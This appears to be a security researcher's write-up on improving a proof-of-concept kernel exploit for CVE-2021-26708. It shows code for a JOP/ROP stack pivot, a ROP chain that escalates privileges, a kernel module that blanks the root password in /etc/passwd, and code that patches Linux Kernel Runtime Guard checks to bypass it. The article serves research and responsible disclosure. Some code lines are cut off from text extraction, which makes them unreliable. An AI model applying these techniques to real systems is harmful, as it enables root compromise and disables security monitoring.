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This is the follow-up to my research described in the article "Four Bytes of Power:

Exploiting CVE-2021-26708 in the Linux kernel." My PoC exploit for CVE-2021-26708 had

a very limited facility for privilege escalation, and I decided to continue my experiments

with that vulnerability. This article describes how I improved the exploit, added a full-power

ROP chain, and implemented a new method of bypassing the Linux Kernel Runtime Guard

(LKRG).

Today, I gave a talk at ZeroNights 2021 on this topic (slides). Prepare for lots of assembly.

Let's go!

First of all, the PoC demo video:

Limited privilege escalation
In the first article, I described how the race condition in Linux virtual sockets can be

leveraged for 4-byte memory corruption, which I gradually turned into arbitrary read/write
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of kernel memory. In this section, I will briefly summarize how the privilege escalation was

gained and why it is limited (see the first article for more details).

Arbitrary write was performed via control-flow hijack using the destructor_arg  callback of

an overwritten sk_buff  kernel object:

This callback has the following prototype:

void (*callback)(struct ubuf_info *, bool zerocopy_success); 

When the kernel calls it in skb_zcopy_clear() , the RDI  register stores the first function

argument, which is the address of the ubuf_info  structure itself. The RSI  register stores

the second function argument, which is 1 .

The contents of ubuf_info  are controlled by the attacker, which is great. However, the

first 8 bytes of it are occupied by the callback function pointer. You can see this on the

diagram above. That's a severe constraint! So, for stack pivoting, the ROP gadget should

look like this:

mov rsp, qword ptr [rdi + 8] ; ret 

Unfortunately, there is nothing similar to that in the Fedora kernel binary vmlinuz-5.10.11-

200.fc33.x86_64 . With ROPgadget , however, I found a single gadget that fits these

constraints and performs arbitrary write without stack pivoting:

mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
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https://elixir.bootlin.com/linux/v5.10/source/include/linux/skbuff.h#L1470
https://github.com/JonathanSalwan/ROPgadget


As I mentioned earlier, RDI  stores the address of the kernel memory with data controlled

by the attacker. RSI  stores 1 and RCX  stores 0. In other words, this gadget writes seven

bytes with 0 and one byte with 1 at the memory address controlled by the attacker. For

privilege escalation, my PoC exploit wrote zero to uid , gid , effective uid , and

effective gid  in the process credentials.

I was happy to have invented this strange arbitrary write primitive and managed to perform

privilege escalation! However, I was not satisfied with this solution because it didn't provide

me the full power of ROP. Moreover, I had to hijack the kernel control-flow twice to

overwrite all the requisite fields in struct cred . That decreased the exploit stability.

I had some rest and then decided to explore available ROP gadgets once again.

Registers under attacker control
First of all, I revisited the state of CPU registers at the moment of the control-flow hijack. I

inserted the breakpoint into skb_zcopy_clear()  that executes the destructor_arg

callback:

$ gdb vmlinux 

gdb-peda$ target remote :1234 

gdb-peda$ break ./include/linux/skbuff.h:1481 

This is what the debugger shows when the kernel hits the breakpoint and is about to

execute the callback:

https://elixir.bootlin.com/linux/v5.10/source/include/linux/skbuff.h#L1470


Which kernel pointers do the CPU registers store? RDI  and R8  contain the ubuf_info

pointer mentioned earlier. Dereferencing that pointer gives the callback function pointer

that is loaded to RAX . R9  stores the address of some kernel stack memory (it's close to

the RSP  value). The R12  and R14  registers contain an address in the kernel heap, but I

don't know the object it points to.

Additionally, the RBP  register contains the address of skb_shared_info . This is the

address of my sk_buff  object from kmalloc-4k  plus SKB_SHINFO_OFFSET , which is 3776

or 0xec0  (see more info on that in the first article).

This kernel address in the RBP  register filled me with hope again because it points to the

kernel memory under the attacker's control. So, I started to search for ROP/JOP gadgets

that can exploit it.

Mysterious JOP gadgets
I started to examine all gadgets involving RBP  and eventually found a lot of JOP gadgets

that look like this one:

0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48] 

Cool, RBP + 0x48  points to the kernel memory under the attacker's control. I understood

that I could perform stack pivoting using a chain of JOP gadgets like this and then

https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html


proceed with ordinary ROP. Excellent!

For a quick experiment, I took this xchg eax, esp ; jmp qword ptr [rbp + 0x48]  gadget,

which sets the kernel stack pointer to the userspace memory. First, I double-checked that

this gadget resides in the kernel code. Yes, the code of acpi_idle_lpi_enter()  starts at

0xffffffff81711d30 , and the gadget appears if we look at the code of that function with a

three-byte offset:

$ gdb vmlinux 

gdb-peda$ disassemble 0xffffffff81711d33 

Dump of assembler code for function acpi_idle_lpi_enter: 

   0xffffffff81711d30 <+0>: call   0xffffffff810611c0 <__fentry__> 

   0xffffffff81711d35 <+5>: mov    rcx,QWORD PTR gs:[rip+0x7e915f4b] 

   0xffffffff81711d3d <+13>: test   rcx,rcx 

   0xffffffff81711d40 <+16>: je     0xffffffff81711d5e <acpi_idle_lpi_enter+46> 

gdb-peda$ x/2i 0xffffffff81711d33 

   0xffffffff81711d33 <acpi_idle_lpi_enter+3>: xchg   esp,eax 

   0xffffffff81711d34 <acpi_idle_lpi_enter+4>: jmp    QWORD PTR [rbp+0x48] 

However, when I tried to call this gadget during the control-flow hijack, the kernel crashed

with a page fault. I spent some time trying to debug it and also asked my friend Andrey

Konovalov whether he had encountered such things in his experience with ROP/JOP.

Andrey noticed that some bytes of the code dump printed in the kernel crash report differ

from the output of objdump  for the kernel binary.

This was the first time in my practice with the Linux kernel, when this code dump from a

crash report proved useful :) I attached the debugger to the live kernel and saw that the

code of the acpi_idle_lpi_enter()  kernel function had actually changed:

$ gdb vmlinux 

gdb-peda$ target remote :1234 

gdb-peda$ disassemble 0xffffffff81711d33 

https://twitter.com/andreyknvl


In fact, the Linux kernel can patch its code in the runtime. In this particular case, the code

of acpi_idle_lpi_enter()  is changed by CONFIG_DYNAMIC_FTRACE . This kernel mechanism

actually changed many JOP gadgets that interested me! So, I decided to search for

ROP/JOP gadgets in the memory of the live virtual machine to avoid such patched cases.

Evgeny Korneev: Portrait of Academician Lev Bogush (1980)

I tried the ropsearch  command of the gdb-peda  tool, but it didn't work for me because of

its limited functionality. Then I used another approach and dumped the whole kernel code

region into a file using the gdb-peda dumpmem  command. First, I determined the kernel code

location on the virtual machine:

[root@localhost ~]# grep "_text" /proc/kallsyms 

ffffffff81000000 T _text 

Dump of assembler code for function acpi_idle_lpi_enter: 

   0xffffffff81711d30 <+0>: nop    DWORD PTR [rax+rax*1+0x0] 

   0xffffffff81711d35 <+5>: mov    rcx,QWORD PTR gs:[rip+0x7e915f4b] 

   0xffffffff81711d3d <+13>: test   rcx,rcx 

   0xffffffff81711d40 <+16>: je     0xffffffff81711d5e <acpi_idle_lpi_enter+46> 

gdb-peda$ x/2i 0xffffffff81711d33 

   0xffffffff81711d33 <acpi_idle_lpi_enter+3>: add    BYTE PTR [rax],al 

   0xffffffff81711d35 <acpi_idle_lpi_enter+5>: mov    rcx,QWORD PTR gs:[rip+0x7e915

https://elixir.bootlin.com/linux/v5.10/source/Documentation/trace/ftrace.rst


[root@localhost ~]# grep "_etext" /proc/kallsyms  

ffffffff81e026d7 T _etext 

Then I dumped the memory between _text  and _etext  plus the remainder:

gdb-peda$ dumpmem kerndump 0xffffffff81000000 0xffffffff81e03000 

Dumped 14692352 bytes to 'kerndump' 

After this, searching for ROP/JOP gadgets in the raw memory dump with ROPgadget  was

possible with additional options (kudos to my friend Maxim Goryachy for that tip):

After that, I was ready to construct a JOP/ROP chain for stack pivoting.

JOP/ROP chain for stack pivoting
I examined the gadgets with RBP  left in the kernel memory dump and I managed to

construct the stack pivoting chain:

�. The first JOP gadget saves the lower 32 bits of RSP  (the stack pointer register) to

ECX  and jumps to the next location in the controlled memory. This is important

because the shellcode should restore the original RSP  value in the end. Unfortunately,

there is no similar JOP gadget that can save the whole RSP  value. That said, I have

managed with half of it, I'll describe my trick very soon.

�. The second JOP gadget pushes the address of ubuf_info  in RDI  to the kernel stack

and also jumps to the next location in the kernel memory controlled by the attacker.

�. Finally, the third ROP gadget sets the stack pointer to the address of the ubuf_info

structure. Then it executes one more pop  instruction, which adds 8 bytes to the

address in RSP . This is important because the first 8 bytes in ubuf_info  contain the

address of the first JOP gadget, as I described earlier. However, after the second pop

instruction, RSP  points to the beginning of the full-power ROP chain. The stack

pivoting is done!

# ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 > rop_gadgets_5.10.11_k

/* JOP/ROP gadget chain for stack pivoting: */ 

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */ 

#define STACK_PIVOT_1_MOV_ECX_ESP_JMP  (0xFFFFFFFF81768A43lu + kaslr_offset

/* push rdi ; jmp qword ptr [rbp - 0x75] */ 

#define STACK_PIVOT_2_PUSH_RDI_JMP  (0xFFFFFFFF81B5FD0Alu + kaslr_offset

/* pop rsp ; pop rbx ; ret */ 

#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET (0xFFFFFFFF8165E33Flu + kaslr_offset

https://github.com/JonathanSalwan/ROPgadget
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That's how the exploit prepares this chain in the memory for overwriting the sk_buff

kernel object:

Take a look at the diagram that explains what this code is doing:

ROP for EoP
When I achieved the stack pivoting, I quickly reimplemented the elevation of privileges

(EoP) using ordinary ROP:

unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8); 

int i = 0; 

#define ROP_POP_RAX_RET   (0xFFFFFFFF81015BF4lu + kaslr_offset) 

#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset) 

/* 1. Perform privilege escalation */ 

rop_gadget[i++] = ROP_POP_RAX_RET;  /* pop rax ; ret */ 

rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET; 

rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */ 

rop_gadget[i++] = ROP_POP_RAX_RET;  /* pop rax ; ret */ 

rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET; 

rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */ 

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */ 

uinfo_p->callback = STACK_PIVOT_1_MOV_ECX_ESP_JMP;

unsigned long *jmp_addr_1 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET + 0x48)

/* push rdi ; jmp qword ptr [rbp - 0x75] */ 

*jmp_addr_1 = STACK_PIVOT_2_PUSH_RDI_JMP; 

unsigned long *jmp_addr_2 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET - 0x75)

/* pop rsp ; pop rbx ; ret */ 

*jmp_addr_2 = STACK_PIVOT_3_POP_RSP_POP_RBX_RET; 



This is simple: the owner_cred  kernel address was leaked to the userspace using arbitrary

read (the first article describes that in details), and this part of the ROP chain overwrites

uid , gid , effective uid , and effective gid  in the kernel credentials with 0 , which

means the superuser.

Then, the ROP chain has to restore the original RSP  value and continue the system call

handling. How did I achieve it? The lower 32 bits of the original stack pointer have been

saved in RCX . The upper 32 bits of it can be extracted from R9  (this register stores an

address from the kernel stack, as you can see in the gdb  screenshot that I displayed

earlier). Some bit twiddling and we are done:

The R9  value is copied to RAX . The 0xffffffff00000000  bit mask is saved in RDX . Then

the bitwise AND  operation is performed for RAX  and RDX . As a result, RAX  contains the

upper bits of the original stack pointer. After adding the RCX  value, the RAX  register

contains the original RSP  value, which is then loaded to RSP  via RBX  (unfortunately there

is no mov rsp, rax ; ret  gadget in my kernel memory dump).

The final RET  instruction returns from the shellcode, the recv()  syscall handling

continues, but now the exploit process runs with root  privileges.

Oh, I always wanted to hack LKRG!
The Linux Kernel Runtime Guard (LKRG) is an amazing project! It's a Linux kernel module

that performs runtime integrity checking of the kernel and detects kernel vulnerability

exploits. The aim of LKRG anti-exploit functionality is to detect specific kernel data

corruption performed during vulnerability exploitation:

Illegal elevation of privileges (EoP)

Illegal calling of the commit_creds()  function

Overwriting the struct cred

Sandbox and namespace escapes

#define ROP_MOV_RAX_R9_RET  (0xFFFFFFFF8106BDA4lu + kaslr_offset) 

#define ROP_POP_RDX_RET   (0xFFFFFFFF8105ED4Dlu + kaslr_offset) 

#define ROP_AND_RAX_RDX_RET  (0xFFFFFFFF8101AD34lu + kaslr_offset) 

#define ROP_ADD_RAX_RCX_RET  (0xFFFFFFFF8102BA35lu + kaslr_offset) 

#define ROP_PUSH_RAX_POP_RBX_RET (0xFFFFFFFF810D64D1lu + kaslr_offset) 

#define ROP_PUSH_RBX_POP_RSP_RET (0xFFFFFFFF810749E9lu + kaslr_offset) 

/* 2. Restore RSP and continue */ 

rop_gadget[i++] = ROP_MOV_RAX_R9_RET;     /* mov rax, r9 ; ret */ 

rop_gadget[i++] = ROP_POP_RDX_RET;     /* pop rdx ; ret */ 

rop_gadget[i++] = 0xffffffff00000000lu; 

rop_gadget[i++] = ROP_AND_RAX_RDX_RET;     /* and rax, rdx ; ret */ 

rop_gadget[i++] = ROP_ADD_RAX_RCX_RET;     /* add rax, rcx ; ret */ 

rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */ 

rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; /* push rbx ; add eax, 0x415d0060 ; pop r
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Illegal changing of the CPU state (for example, disabling SMEP  and SMAP  on x86_64 )

Illegal changing of the kernel .text  and .rodata

Kernel stack pivoting and ROP

Many more

This project is hosted by Openwall. It is mostly being developed by Adam 'pi3' Zabrocki in

his spare time. LKRG is currently in a beta version, but developers are trying to keep it

super stable and portable across various kernels. Adam also says:

We are aware that LKRG is bypassable by design (as we have always spoken openly) 

but such bypasses are neither easy nor cheap/reliable. 

Ilya Matveychikov has done some work in this area, collecting his LKRG bypass methods in

a separate repository. However, Adam analyzed Ilya's work and improved LKRG to mitigate

these bypass methods.

So, I decided to upgrade my CVE-2021-26708 exploit further and develop a new way to

bypass LKRG. Now things get interesting!

My first thought was:

OK, LKRG is tracking illegal EoP, but it does not track access to '/etc/passwd'. 

I can try to bypass it by disabling the root password via '/etc/passwd'! 

Executing 'su' after that should look absolutely legal to LKRG. 

I wrote a quick prototype in the form of a kernel module:

#include <linux/module.h> 

#include <linux/kallsyms.h> 

static int __init pwdhack_init(void) 

{ 

 struct file *f = NULL; 

 char *str = "root::0:0:root:/root:/bin/bash\n"; 

https://www.openwall.com/lkrg/
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 ssize_t wret; 

 loff_t pos = 0; 

 pr_notice("pwdhack: init\n"); 

 f = filp_open("/etc/passwd", O_WRONLY, 0); 

 if (IS_ERR(f)) { 

  pr_err("pwdhack: filp_open() failed\n"); 

  return -ENOENT; 

 } 

 wret = kernel_write(f, str, strlen(str), &pos); 

 printk("pwdhack: kernel_write() returned %ld\n", wret); 

 pr_notice("pwdhack: done\n"); 

 return 0; 

} 

static void __exit pwdhack_exit(void) 

{ 

 pr_notice("pwdhack: exit\n"); 

} 

module_init(pwdhack_init)

module_exit(pwdhack_exit)

MODULE_LICENSE("GPL v2");

This module overwrites the first line in /etc/passwd  with

root::0:0:root:/root:/bin/bash\n . This effectively disables the password for root , and

then an unprivileged user executing su  freely becomes root .

I reimplemented this logic with filp_open()  and kernel_write()  in my ROP chain, but it

failed to open /etc/passwd . It turned out that the kernel checks the process credentials

and SELinux metadata even when a file is opened from the kernelspace. Overwriting them

before filp_open()  doesn't help because LKRG tracks them and kills any offending

process.

No more hiding, let's destroy LKRG!
Suddenly I decided not to hide from LKRG. Instead, I got the idea to attack and destroy

LKRG from my ROP chain!



Anatoly Volkov: Snowballs (1957)

The straightforward approach is to unload the LKRG module from the kernel. I made

another tiny kernel module to check this hypothesis:

#include <linux/module.h> 

#include <linux/kallsyms.h> 

static int __init destroy_lkrg_init(void) 

{ 

 struct module *lkrg_mod = find_module("p_lkrg"); 

 if (!lkrg_mod) { 

  pr_notice("destroy_lkrg: p_lkrg module is NOT found\n");

  return -ENOENT; 

 } 

 if (!lkrg_mod->exit) { 

  pr_notice("destroy_lkrg: p_lkrg module has no exit method\n"); 

  return -ENOENT; 

 } 

 pr_notice("destroy_lkrg: p_lkrg module is found, remove it brutally!\n"); 

 lkrg_mod->exit(); 

 return 0; 

} 



static void __exit destroy_lkrg_exit(void) 

{ 

 pr_notice("destroy_lkrg: exit\n"); 

} 

module_init(destroy_lkrg_init) 

module_exit(destroy_lkrg_exit) 

MODULE_LICENSE("GPL v2");

It seemed to be an idea that would work; the LKRG module was unloaded. I reimplemented

this logic with find_module()  and LKRG exit()  in my ROP chain, but it failed. Why? In the

middle of p_lkrg_deregister() , LKRG calls the schedule()  kernel function, which has an

LKRG hook performing the pCFI  check. It detects my stack pivoting and kills the exploit

process in the middle of the LKRG module unloading. Alas!

I started to think about another approach to destroying LKRG and got the idea to disable

kprobes . In fact, kprobes  (and kretprobes ) are used by LKRG for planting checking

hooks all over the kernel code. First, I tried to disable them using an existing debugfs

interface:

[root@localhost ~]# echo 0 > /sys/kernel/debug/kprobes/enabled 

This should disarm all enabled kprobes . I tried that on a system with a loaded LKRG

module, but after a couple of seconds, the kernel hanged completely. There might be some

deadlock or infinite loop caused by LKRG, but I didn't spend any more time on that.

Debugging the kernel with LKRG is actually not that convenient. It took me some time to

realize why the Linux kernel with LKRG crashes every time I try to debug it. In fact, setting a

breakpoint for a kernel function in gdb  changes the kernel code. So, LKRG in a parallel

thread sees that as kernel integrity violation and crashes the kernel unexpectedly for me,

while I'm staring at the debugger trying to understand what's going on :)

A successful attack against LKRG
Finally, I created a working attack against LKRG. In my ROP chain, I patched the LKRG code

itself! The first function that I patched is p_check_integrity() , which is responsible for

checking the Linux kernel integrity. The second function that I patched is p_cmp_creds() ,

which checks the credentials of processes running in the system against the LKRG

database to detect illegal elevation of privileges.

I patched these functions with 0x48 0x31 0xc0 0xc3 , which is xor rax, rax ; ret  or

return 0 . Then, I escalated the privileges. Hurray! Let's look at the final ROP chain:

unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8); 

int i = 0; 



This part reconstructs the original RSP  value from the bits in ECX  and R9  (I described

this earlier). Now, however, I save the stack pointer to the sk_buff  data at

SAVED_RSP_OFFSET  to avoid storing it in a dedicated register.

This part of the ROP chain calls kallsyms_lookup_name("p_cmp_creds") . The sk_buff  data

at FUNCNAME_OFFSET_1  stores the "p_cmp_creds"  string. Its address is loaded to RDI ,

which should contain the first function argument according to the calling convention of

System V AMD64 ABI.

Note: The lkrg.hide  configuration option is set to 0 by default, which allows attackers to

find the LKRG functions easily using kallsyms_lookup_name() . There are also other

methods to find these functions.

#define SAVED_RSP_OFFSET 3400 

#define ROP_MOV_RAX_R9_RET  (0xFFFFFFFF8106BDA4lu + kaslr_offset) 

#define ROP_POP_RDX_RET   (0xFFFFFFFF8105ED4Dlu + kaslr_offset) 

#define ROP_AND_RAX_RDX_RET  (0xFFFFFFFF8101AD34lu + kaslr_offset) 

#define ROP_ADD_RAX_RCX_RET  (0xFFFFFFFF8102BA35lu + kaslr_offset) 

#define ROP_MOV_RDX_RAX_RET  (0xFFFFFFFF81999A1Dlu + kaslr_offset) 

#define ROP_POP_RAX_RET   (0xFFFFFFFF81015BF4lu + kaslr_offset) 

#define ROP_MOV_QWORD_PTR_RAX_RDX_RET (0xFFFFFFFF81B6CB17lu + kaslr_offset) 

/* 1. Save RSP */ 

rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */ 

rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */ 

rop_gadget[i++] = 0xffffffff00000000lu; 

rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */ 

rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */ 

rop_gadget[i++] = ROP_MOV_RDX_RAX_RET; /* mov rdx, rax ; shr rax, 0x20 ; xor eax, e

rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */ 

rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET; 

rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_RDX_RET; /* mov qword ptr [rax], rdx ; ret *

#define KALLSYMS_LOOKUP_NAME  (0xffffffff81183dc0lu + kaslr_offset)

#define FUNCNAME_OFFSET_1 3550 

#define ROP_POP_RDI_RET    (0xFFFFFFFF81004652lu + kaslr_offset

#define ROP_JMP_RAX    (0xFFFFFFFF81000087lu + kaslr_offset

/* 2. Destroy lkrg : part 1 */ 

rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */ 

rop_gadget[i++] = KALLSYMS_LOOKUP_NAME; 

    /* unsigned long kallsyms_lookup_name(const char *name) */ 

rop_gadget[i++] = ROP_POP_RDI_RET; /* pop rdi ; ret */ 

rop_gadget[i++] = uaf_write_value + FUNCNAME_OFFSET_1; 

strncpy((char *)xattr_addr + FUNCNAME_OFFSET_1, "p_cmp_creds", 12); 

rop_gadget[i++] = ROP_JMP_RAX;  /* jmp rax */ 



The kallsyms_lookup_name()  function returns the address of p_cmp_creds()  in RAX . If the

LKRG module is not loaded, kallsyms_lookup_name()  returns NULL . I wanted my shellcode

to work in both cases and invented this trick:

�. I found the address of xor rax, rax ; ret  in the kernel memory dump (defined here

as XOR_RAX_RAX_RET )

�. This address is loaded to RDX

�. If kallsyms_lookup_name("p_cmp_creds")  returns NULL , this address is loaded to RAX .

This is performed using the conditional move instruction in the test rax, rax ; cmove

rax, rdx ; ret  gadget.

Which is great! In other words, if LKRG is loaded, the shellcode patches the code of

p_cmp_creds()  with xor rax, rax ; ret . And, if LKRG is absent, the shellcode patches

xor rax, rax ; ret  with the same bytes and avoids the kernel crash. This is performed in

the following part of the ROP chain:

Here, the shellcode prepares the arguments and calls text_poke()  for code patching:

�. The address in RAX  is stored in RDI  as the first argument of the function.

Unfortunately, I couldnʼt find a smaller gadget doing that, so here, the ROP chain

contains the dummy value for RBX  that is loaded from the kernel stack in the first

gadget

#define XOR_RAX_RAX_RET    (0xFFFFFFFF810859C0lu + kaslr_offset

#define ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET (0xFFFFFFFF81196AA2lu + kaslr_offset

/* If lkrg function is not found, let's patch "xor rax, rax ; ret" */

rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */ 

rop_gadget[i++] = XOR_RAX_RAX_RET; 

rop_gadget[i++] = ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET; /* test rax, rax ; cmove rax, r

#define TEXT_POKE  (0xffffffff81031300lu + kaslr_offset)

#define CODE_PATCH_OFFSET 3450 

#define ROP_MOV_RDI_RAX_POP_RBX_RET  (0xFFFFFFFF81020ABDlu + kaslr_offset

#define ROP_POP_RSI_RET    (0xFFFFFFFF810006A4lu + kaslr_offset

rop_gadget[i++] = ROP_MOV_RDI_RAX_POP_RBX_RET; 

    /* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret */ 

rop_gadget[i++] = 0x1337;    /* dummy value for RBX */ 

rop_gadget[i++] = ROP_POP_RSI_RET; /* pop rsi ; ret */ 

rop_gadget[i++] = uaf_write_value + CODE_PATCH_OFFSET; 

strncpy((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xc0\xc3", 5); 

rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */ 

rop_gadget[i++] = 4; 

rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */ 

rop_gadget[i++] = TEXT_POKE; 

    /* void *text_poke(void *addr, const void *opcode, size_t len) */ 

rop_gadget[i++] = ROP_JMP_RAX;    /* jmp rax */ 



�. The sk_buff  data at CODE_PATCH_OFFSET  stores the patching payload 0x48 0x31 0xc0

0xc3 . Its address is stored in RSI  as the second argument of the function

�. The third argument of text_poke()  is the length of the payload. It is provided via the

RDX  register storing 4.

The text_poke()  kernel function updates instructions on a live kernel. It remaps the code

page and performs memcpy() . This trick is used by kprobes  and other kernel

mechanisms.

Then, the same procedure with kallsyms_lookup_name() , cmove  and text_poke()  is

performed for patching the p_check_integrity()  function of the LKRG module. When that

is done, LKRG is helpless and the shellcode can perform the privilege escalation (as

described earlier):

#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset) 

/* 3. Perform privilege escalation */ 

rop_gadget[i++] = ROP_POP_RAX_RET;  /* pop rax ; ret */ 

rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET; 

rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */ 

rop_gadget[i++] = ROP_POP_RAX_RET;  /* pop rax ; ret */ 

rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET; 

rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */ 

In the final part, the ROP chain restores the original RSP  value from the sk_buff  data at

SAVED_RSP_OFFSET , where it was saved in the beginning:

Then the recv()  syscall handling continues with root  privileges.

Phew! That was the most complicated part of the article.

/* 4. Restore RSP and continue */ 

rop_gadget[i++] = ROP_POP_RAX_RET;   /* pop rax ; ret */ 

rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET; 

rop_gadget[i++] = ROP_MOV_RAX_QWORD_PTR_RAX_RET; /* mov rax, qword ptr [rax] ; ret *

rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET;  /* push rax ; pop rbx ; ret */ 

rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; 

    /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */ 

https://elixir.bootlin.com/linux/v5.10/source/arch/x86/kernel/alternative.c#L959


Nikolay Lomakin: First Product (1953)

Responsible disclosure
On June 10, I disclosed the information about my experiments with LKRG to Adam and

Alexander Peslyak aka Solar Designer. We discussed my LKRG bypass method and

exchanged views on LKRG in general.

On July 3, I disclosed my attack method at the public lkrg-users  mailing list. As of August

1, this attack method is not mitigated yet.

In my opinion, LKRG is an amazing project. When I started to learn it, I immediately saw

that Adam and other contributors had invested a lot of engineering effort and love into this

project. At the same time, I believe that detecting post-exploitation and illegal privilege

escalation from inside the kernel is impossible. Einstein said: "We can't solve problems by

using the same kind of thinking we used when we created them." In other words, LKRG

must be at some other context/layer to detect illegal kernel activity.

I think LKRG can bring much more trouble to attackers if it is ported to a hypervisor (for

example, QEMU/KVM) or some FOSS implementation of Arm Trusted Execution

Environment (for example, Open-TEE). However, that is a big task, and Adam would need

substantial support from the community or maybe from the companies interested in this

project.

Conclusion
In this article, I described how I improved my PoC exploit for CVE-2021-26708 in the Linux

kernel. It turned out to be an interesting journey with lots of assembly and return-oriented

programming. I searched for the ROP/JOP gadgets in the memory of the live GNU/Linux

https://twitter.com/solardiz
https://www.openwall.com/lists/lkrg-users/2021/07/03/1
https://www.brainyquote.com/quotes/albert_einstein_385842
https://nvd.nist.gov/vuln/detail/CVE-2021-26708


system and managed to perform stack pivoting in restricted conditions. I also looked at the

Linux Kernel Runtime Guard from the attacker's perspective, developed a new attack

against LKRG, and shared my results with the LKRG team.

I believe writing this article is useful for the Linux kernel community, since it shows

practical aspects of kernel vulnerability exploitation and defense. I hope you enjoyed it.
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